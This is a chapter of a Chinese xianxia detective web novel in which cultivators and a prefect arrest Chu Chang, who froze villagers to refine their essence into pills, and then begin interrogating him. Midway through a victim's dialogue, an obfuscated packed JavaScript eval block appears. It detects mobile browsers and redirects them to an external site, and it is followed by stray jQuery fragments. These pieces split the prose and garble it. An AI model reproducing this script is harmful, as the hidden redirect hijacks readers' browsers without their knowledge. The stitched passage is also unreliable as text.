面对他们的疑问,千吟屈指抵着下巴,用了一招“故弄玄虚”。
“祖传秘法,独门绝活。”
一旁的初阳唤道:“快拿棉被来帮他们复温!”众人这才又忙碌起来。
约一刻钟后,向晚松一行人捉拿褚常归来。
向晚松将褚常推出,“凶手可是此人?”
千吟看了褚常一眼,“是。”
褚常浑身泥巴狼狈不堪,显然是她留的“大礼”派上了用场。
褚常抬眼看到她,面上露出明显的惊愕。
千吟眯起眼冲他露出一个危险的笑容,嘴角扬起的弧度向褚常传达着信息——是我做的。
褚常在这双深潭般双眸的注视下冒出些冷汗。
昨夜他离开酒坊后心里总觉得不踏实,今日又折返回去,没想到刚踏入酒坊便中了阵法。
那是个速度极快的多向传送阵,褚常从地上被拍到墙上,还没缓过神又被抛到空中,最后被拉回地面。
当他怒不可遏地撑着地面站起时,又再一次迅速被推向墙壁。
此时他才绝望地发现,这是一个不断循环的传送阵,而以他的道行根本不足以破阵。
当向晚松他们到达此处时,就看到褚常在院中飞来飞去。
“他……是凶手吧?”旁边的弟子扯扯嘴角。
向晚松打开画像仔细对比,“是他。”
他抬手示意:“捉人。”
说罢率先御剑划入阵中,他抬手念诀,强行停止阵法,褚常立刻从空中落下。
褚常见到青泉观三人先是愣怔片刻,直到看到几名捕快的身影时才意识到这些人是来抓捕他的。
褚常毕竟是修炼之人,身手了得,他在地面上后退数步稳住,转身便向墙上一翻,向外逃去。
另外两名弟子立刻围堵他的去路。
褚常抬手便劈向其中一人,那弟子向后一跃,又稳稳落在剑上,他抬掌结印,“去!”
一张光点织成的密网向褚常扑来,他疾退到屋顶上,忽地一个转身,那弟子来不及改换法术方向,那网就结结实实地打在了屋顶瓦片上,哗啦啦一片脆响,四分五裂的瓦片向四周滚落。
见此情形,向晚松驱剑逼近,他指尖带着劲道点在褚常穴位上,褚常立时感到肌体僵涩。
他扭头,口中迸出几个字:“你——你——”
话在嘴边艰涩走了几个来回,终于还是咽了回去。
凶手被抓捕归案,胡逸悯心中顿感大石落地。
他走上前,痛心疾首道:“本官问你,为何要绑架这许多百姓,取他们精气,令他们受冰冻之苦?”
褚常别开头沉默,旁边的捕快立刻朝他膝弯踢了一脚,“知府大人问你话,还不跪下!”
以褚常的反应速度,这一脚他是能够躲开的,然而眼下他被点了穴道,浑身动弹不得,中了这一脚只能任由身体惯性倒下。
褚常摔跪在地上,眼神却并不惊慌躲闪,他仍是咬牙沉默着。
胡逸悯见他这副模样,声音也加了几分力道,“把他关入府牢,好好审讯!”
褚常被两名衙役扯住胳膊,向前拖行着离开了庭院。
胡逸悯看着他们离开的方向,开口道:“凶手果然是人啊。”
付卿听到他这句话,问道:“您早就觉察到此案是人为吗?”
胡逸悯笑笑,“只是一种直觉。”他转头看向新夏,“后来是青泉观的这位道长告知我,怨执只有单一的攻击行为,没有作案能力,这才验证我的感觉。我们对怨执的了解还是太少了。”
新夏急忙抬手向千吟的方向,“此事并非我所发现,是这位姐姐提醒我们的。”
向晚松顺着新夏所指的方向看向千吟,“原来阁下就是芦师妹所说帮助探案的同修,久仰。”
千吟微微颔首算作回应。
“此案我们追查许久一直没有结果,二位是如何找到凶手的?”向晚松问。
发现凶手的关键契机在于付卿在无名坊看到的那一张封签。但这件事必须另找一个由头掩盖修饰一番,以免暴露两人身份。
幸亏千吟和付卿在来府衙之前便已想好应对之策。
“前几日,我们在追一只妖时进入了覆云镇的无际城。”
听到“无际城”三个字,新夏和初阳的脸色都产生了些微的变化。
“那妖逃命匆忙,将他所带包裹弃在半路,我们查看了他的包裹,里面有一枚以人的精气炼制的丹药,和那丹药一同放着的还有一张字条。”
“用人的精气炼丹?!”
“正是。”
胡逸悯注视着地上的失踪者们,语气愤懑,“用人的精气炼丹卖给妖,如此狠毒!”
向晚松问:“那字条上写的什么?”
“那字条应是沾了水,字迹有些模糊了,只能看出最后是个‘丸’字。”千吟说。
“之后如何?”胡逸悯已差人取来了招册,书吏根据两人供词整理誊记。
“说来也巧,从无际城回来后那日,我去华照街神树下祈愿,在挂祈愿牌时便觉得旁边牌子上的笔迹有些熟悉。”
众人了然。
“这也太巧了吧。”书吏停笔道出了在场其他人的心声。
见他们似有怀疑,千吟思维灵活一转,张口就上情怀:“许是神树看不下去凶手为祸丹曦百姓,特此显灵助力我们破案。”
众人纷纷点头,脸上露出深信不疑的表情。
场上唯有两人面上没有被信仰的光晕笼罩,一人是付卿,在千吟说出“神树”二字时,他神色就变得不自然,耳尖蒙上一层红色。
另一人是向晚松,他仍是一副平静淡然的样子。
之后千吟便按照原本经过将两人如何去顾府见了褚明睿,如何跟着褚明睿找到褚常,如何跟踪褚常找到失踪者描述一遍。
胡逸悯边听边捋须点头,书吏在一旁奋笔疾书。
当千吟说完最后一个字,书吏也落下最后一笔。
胡逸悯长抒一口气,拿过册子仔仔细细看了一遍,满意地点点头。
“此次案件的查破多亏二位道长。”他对千吟和付卿道。
付卿礼貌地笑笑。千吟面上仍是没什么表情:“与人之约而已。”
此时已有受害者转醒,一脸茫然地四顾着,胡逸悯连忙命人送上水食。
“去通知他们的家属。”
胡逸悯走到最先转醒的那人面前,那人看着胡逸悯,哆嗦着嘴唇,“大人,我这是死了,还是得救了?”
胡逸悯道:“你现在府衙,是得救了。”
那人禁不住眼眶泛红,“我还以为自己要死了……”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290437|182664||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你还记得自己是怎么被抓的吗?”胡逸悯问。
“我——”此人刚刚苏醒,脑袋还有些发懵,他用力回想着,“那天好像是夜里,我一个人往家里走。走到一个转角,墙后突然冒出一个人——”
那人说着,面上露出恐惧之色。
“我想往后退,腿动不了,低头一看才发现自己的脚已经结冰了。”
“被冰冻之后,我还有一点模糊的意识,我好像被带到了一个地方,里面很多——呃——被冻住的人,还有一个炉子。之后我的意识越来越模糊,一切变得像在梦里一样,但我能感觉到自己的身体在变得虚弱。”
“当我意识即将消散的时候,迷迷糊糊中,眼前出现了一道光,我感觉身体在慢慢恢复知觉。我以为是神仙来接我了……不成想一睁眼,就看到自己在这里。”
胡逸悯拍了拍那人肩膀,嘱咐道:“好好休息。”
这时有衙役来附在胡逸悯耳边耳语几句,胡逸悯点了点头,对众人道,“我去狱中审讯凶手,诸位与我同去吧。”
狱中专门开辟出一块空间供审讯使用,褚常被两名狱卒押送到此处。
小吏已查出褚常身份,将刚找出的户籍簿子一并放在案上供胡逸悯查阅。
“褚常,你的罪行如今已被揭穿,你绑架四十二名百姓用他们的精气炼制丹药,你可认罪?”
褚常还是刚才那副样子,眼睛盯着地面,一言不发。
胡逸悯并不着急,这个案子查了这么久,罪犯终于归案,他也不急这一时。
一旁的千吟却在这时突然开口:“你可知,你为免去自身嫌疑让褚明睿替你写的字,不仅成为了破案的线索,还有可能让他被定罪为帮凶。”
话语间每一个字都如同细小的钢针,扎在褚常最敏感的神经上。
褚常蓦然抬起头,眼中情绪强烈得骇人,有恨意,有执拗疯狂,有不甘,还有一丝恐惧。
在场只有千吟和付卿明白他的眼神——他在恨自己没能除掉二人。
这时一直沉默的向晚松开口问道:“你是通过什么渠道将炼制丹药卖到妖手中的?”
褚常目光在向晚松身上停了一停,他似乎想从向晚松平静的脸上看出些什么。
千吟将褚常的表情尽收眼底,她相信自己没有判断错,褚常对向晚松的态度有点不一样。
千吟虽知道褚常炼制丹药是通过无名坊售卖,但在无名坊和褚常之间仍存有诸多疑点未解。
褚常是如何搭上无名坊这条线的?
无名坊不是帮褚常袭击她的帮手,那么这个帮手究竟是谁呢?
千吟皱起眉,她现在恨不能一记问心咒让褚常把真相倒个干净。
胡逸悯此刻内心也是一样的想法,但各衙门之间都心照不宣——除非到了万不得已的时刻,不然不会动用问心咒。
一是能驾驭问心咒之人实在太少,二是若使用问心咒频率太高会显得衙门无能。
即便没有问心咒,他们对于不肯开口的犯人也有方法。
胡逸悯招手,狱卒靠过来,他吩咐道:“把人看住了,让他吃点苦头,争取撬开他的嘴。”
声音不大不小,刚好够褚常听见。
然而褚常却没有任何反应。
这时,门外进来两名衙役,向胡逸悯道:“大人,褚明睿带到了。”